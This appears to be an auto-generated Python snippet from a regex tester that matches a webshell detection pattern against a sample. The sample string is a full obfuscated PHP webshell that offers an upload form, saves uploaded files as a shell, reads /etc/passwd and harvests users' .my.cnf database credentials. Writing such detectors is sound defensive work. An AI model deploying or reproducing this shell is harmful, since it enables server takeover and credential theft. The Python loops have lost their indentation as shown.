# coding=utf8
# the above tag defines encoding for this document and is for Python 2.x compatibility
import re
regex = r"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$\{[\"']\\x47\\x4c\\x4fba\\x4cs['\"].{0,630}?m\\x75\\x6ct\\x69\\x70\\x61\\x72\\x74\/form\-d.{0,380}?move_uploaded_file\(\$_files.{0,500}?file\(['\"]\/\\x65\\x74\\x63\/\\x70\\x61s\\x73wd.{0,1550}?=file_get_contents\(\$\{\$\{['\"][\\\w]+.{0,120}?print\(\$\{\$\{[\"']g[\\\w]+['\"].{0,50}?\}cp\([[:punct:]\s]+$"
test_str = ("<?php ${\"\\x47\\x4c\\x4fba\\x4cs\"}[\"\\x77\\x6b\\x70\\x68k\\x77l\\x79\\x75\"]=\"\\x67\\x65\\x74\";${\"\\x47\\x4cob\\x41l\\x53\"}[\"\\x72\\x67\\x73\\x68\\x67\\x6fa\\x68\\x66\"]=\"\\x66\\x6f\\x6c\\x64\\x65\\x72\";${\"gl\\x4f\\x42\\x41ls\"}[\"\\x7a\\x6a\\x77\\x6c\\x61\\x7al\\x69\"]=\"\\x75s\\x65r\";${\"\\x47\\x4c\\x4f\\x42a\\x4c\\x53\"}[\"\\x61v\\x76dyw\\x65\\x6b\"]=\"\\x6ea\\x6de\";${\"\\x47\\x4c\\x4f\\x42al\\x53\"}[\"\\x70\\x71ul\\x73\\x75\"]=\"\\x6ea\\x6de\\x73\";${\"\\x47lo\\x42als\"}[\"\\x70t\\x6aw\\x6b\\x68\\x61w\"]=\"_\\x68\\x6f\\x6de\";error_reporting(0);ini_set(\"ma\\x78\\x5f\\x65\\x78ecut\\x69\\x6fn_\\x74im\\x65\",0);session_start();if($_get[\"3x\"]==\"3\\x78\"){echo\"<form\\x20a\\x63tio\\x6e\\x3d\\\"\\x22 \\x6de\\x74ho\\x64\\x3d\\x22\\x70os\\x74\\\" e\\x6ectyp\\x65=\\\"m\\x75\\x6ct\\x69\\x70\\x61\\x72\\x74/form-d\\x61\\x74a\\x22>\\n\\x20\\x20 \\x20\\x20\\x20<\\x69n\\x70\\x75\\x74\\x20typ\\x65\\x3d\\x22\\x66il\\x65\\x22\\x20\\x6eam\\x65=\\\"\\x75\\x70\\x22/\\x3e\\n\\x20\\x20\\x20\\x20 \\x3c\\x69n\\x70\\x75\\x74\\x20type\\x3d\\x22s\\x75bm\\x69\\x74\\\"\\x20\\x6e\\x61\\x6de=\\\"s\\x75b\\x6d\\x69t\\\"\\x20value\\x3d\\x22\\x53\\x75b\\x6d\\x69t\\\"\\x20/\\x3e\\n\\x20 \\x20</\\x66\\x6fr\\x6d\\x3e\";if($_post[\"\\x73\\x75\\x62mit\"]){$srpgpyig=\"\\x75\\x72l\";move_uploaded_file($_files[\"\\x75\\x70\"][\"t\\x6d\\x70\\x5f\\x6eame\"],$_files[\"\\x75\\x70\"][\"n\\x61me\"]);${$srpgpyig}=$_files[\"up\"][\"n\\x61m\\x65\"];echo\"\\x3ch\\x31\\x3e<\\x61 \\x68ref\\x3d\\x27$url'\\x3eo\\x70e\\x6e\\x20s\\x68el\\x6c\\x21</a></\\x681\\x3e\";}}if(function_exists(\"\\x66ile\\x5f\\x67\\x65\\x74\\x5f\\x63o\\x6eten\\x74s\")){function cp(){$mglxyop=\"_h\\x6f\\x6d\\x65s\";${\"g\\x4c\\x4fba\\x4cs\"}[\"t\\x64n\\x70\\x66\\x6c\\x71d\"]=\"\\x5f\\x68\\x6fm\\x65\\x73\";${\"g\\x4cob\\x41\\x4c\\x53\"}[\"\\x66bx\\x7ali\"]=\"n\\x61\\x6des\";${${\"\\x47l\\x4fba\\x4cs\"}[\"\\x66bx\\x7a\\x6ci\"]}=file(\"/\\x65\\x74\\x63/\\x70\\x61s\\x73wd\");${$mglxyop}=[\"/h\\x6fme/\",\"/ho\\x6de\\x31/\",\"/h\\x6f\\x6d\\x652/\",\"/\\x68\\x6fme3/\",\"/h\\x6f\\x6d\\x654/\",\"/\\x68om\\x65\\x35/\",\"/h\\x6fm\\x65\\x36/\",\"/\\x68\\x6f\\x6d\\x657/\",\"/\\x68\\x6fm\\x65\\x38/\",\"/\\x68\\x6f\\x6d\\x659/\",\"/h\\x6fme10\"];foreach(${${\"\\x47\\x4cob\\x41l\\x53\"}[\"\\x74d\\x6e\\x70\\x66\\x6cq\\x64\"]} as${${\"\\x47l\\x4f\\x42\\x41\\x4cs\"}[\"\\x70\\x74\\x6a\\x77k\\x68a\\x77\"]}){${\"\\x47\\x4c\\x4fba\\x4c\\x53\"}[\"\\x76\\x74r\\x6b\\x72v\\x6c\\x6b\\x67\"]=\"\\x6ea\\x6des\";if(isset(${${\"gl\\x4f\\x42\\x41\\x4cs\"}[\"vt\\x72\\x6b\\x72\\x76\\x6c\\x6bg\"]})){foreach(${${\"\\x47\\x4c\\x4f\\x42a\\x4cs\"}[\"p\\x71\\x75\\x6c\\x73\\x75\"]} as${${\"\\x47lob\\x41\\x4cs\"}[\"\\x61\\x76\\x76\\x64\\x79\\x77\\x65\\x6b\"]}){$yvivtnymcjft=\"use\\x72\";${\"g\\x4c\\x4fbals\"}[\"x\\x6e\\x71\\x74\\x73\\x76\\x72i\\x68\\x79\\x73q\"]=\"\\x5f\\x68\\x6f\\x6d\\x65\";${\"\\x47\\x4c\\x4fb\\x41\\x4cs\"}[\"\\x79q\\x79mwb\\x70\"]=\"\\x6e\\x61\\x6d\\x65\";${${\"\\x47l\\x4f\\x42\\x41ls\"}[\"\\x7aj\\x77\\x6c\\x61\\x7a\\x6ci\"]}=explode(\":\",${${\"g\\x4c\\x4fbal\\x53\"}[\"\\x79\\x71\\x79m\\x77\\x62\\x70\"]});${$yvivtnymcjft}=${${\"\\x47l\\x4fb\\x41\\x4cs\"}[\"\\x7a\\x6awl\\x61zli\"]}[0];${${\"\\x47\\x4c\\x4f\\x42a\\x4c\\x53\"}[\"\\x72\\x67\\x73h\\x67\\x6f\\x61h\\x66\"]}=${${\"glob\\x41l\\x53\"}[\"\\x78\\x6e\\x71\\x74\\x73\\x76ri\\x68y\\x73q\"]}.${${\"\\x47l\\x4fb\\x41\\x4c\\x53\"}[\"z\\x6aw\\x6c\\x61z\\x6c\\x69\"]}.\"/.my\\x2e\\x63n\\x66\";if(is_readable(${${\"\\x47\\x4cob\\x41\\x4c\\x53\"}[\"rgs\\x68\\x67\\x6f\\x61\\x68\\x66\"]})){${\"\\x47l\\x4f\\x42\\x41\\x4c\\x53\"}[\"\\x66b\\x72\\x6fmbze\\x71\"]=\"\\x67\\x65\\x74\";${\"\\x47l\\x4f\\x42a\\x4c\\x53\"}[\"yij\\x75\\x6apbhp\\x66\"]=\"\\x66o\\x6cder\";${\"\\x47\\x4co\\x42als\"}[\"\\x76pc\\x6a\\x67\\x77\\x6d\\x7a\\x73\\x71s\"]=\"get\";${${\"\\x47\\x4c\\x4fb\\x41\\x4c\\x53\"}[\"fb\\x72\\x6f\\x6db\\x7aeq\"]}=file_get_contents(${${\"\\x47\\x4c\\x4f\\x42a\\x4c\\x53\"}[\"\\x79\\x69\\x6a\\x75j\\x70b\\x68\\x70f\"]});if(!empty(${${\"g\\x4c\\x4f\\x42\\x41\\x4c\\x53\"}[\"\\x76pcjgwmzs\\x71s\"]})){print(${${\"g\\x4co\\x42\\x41ls\"}[\"w\\x6bp\\x68k\\x77l\\x79\\x75\"]}.\"<\\x62r\\x3e\");}}}}}}cp();} ?>\n")
matches = re.finditer(regex, test_str, re.IGNORECASE | re.DOTALL)
for matchNum, match in enumerate(matches, start=1):
print ("Match {matchNum} was found at {start}-{end}: {match}".format(matchNum = matchNum, start = match.start(), end = match.end(), match = match.group()))
for groupNum in range(0, len(match.groups())):
groupNum = groupNum + 1
print ("Group {groupNum} found at {start}-{end}: {group}".format(groupNum = groupNum, start = match.start(groupNum), end = match.end(groupNum), group = match.group(groupNum)))
# Note: for Python 2.7 compatibility, use ur"" to prefix the regex and u"" to prefix the test string and substitution.
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html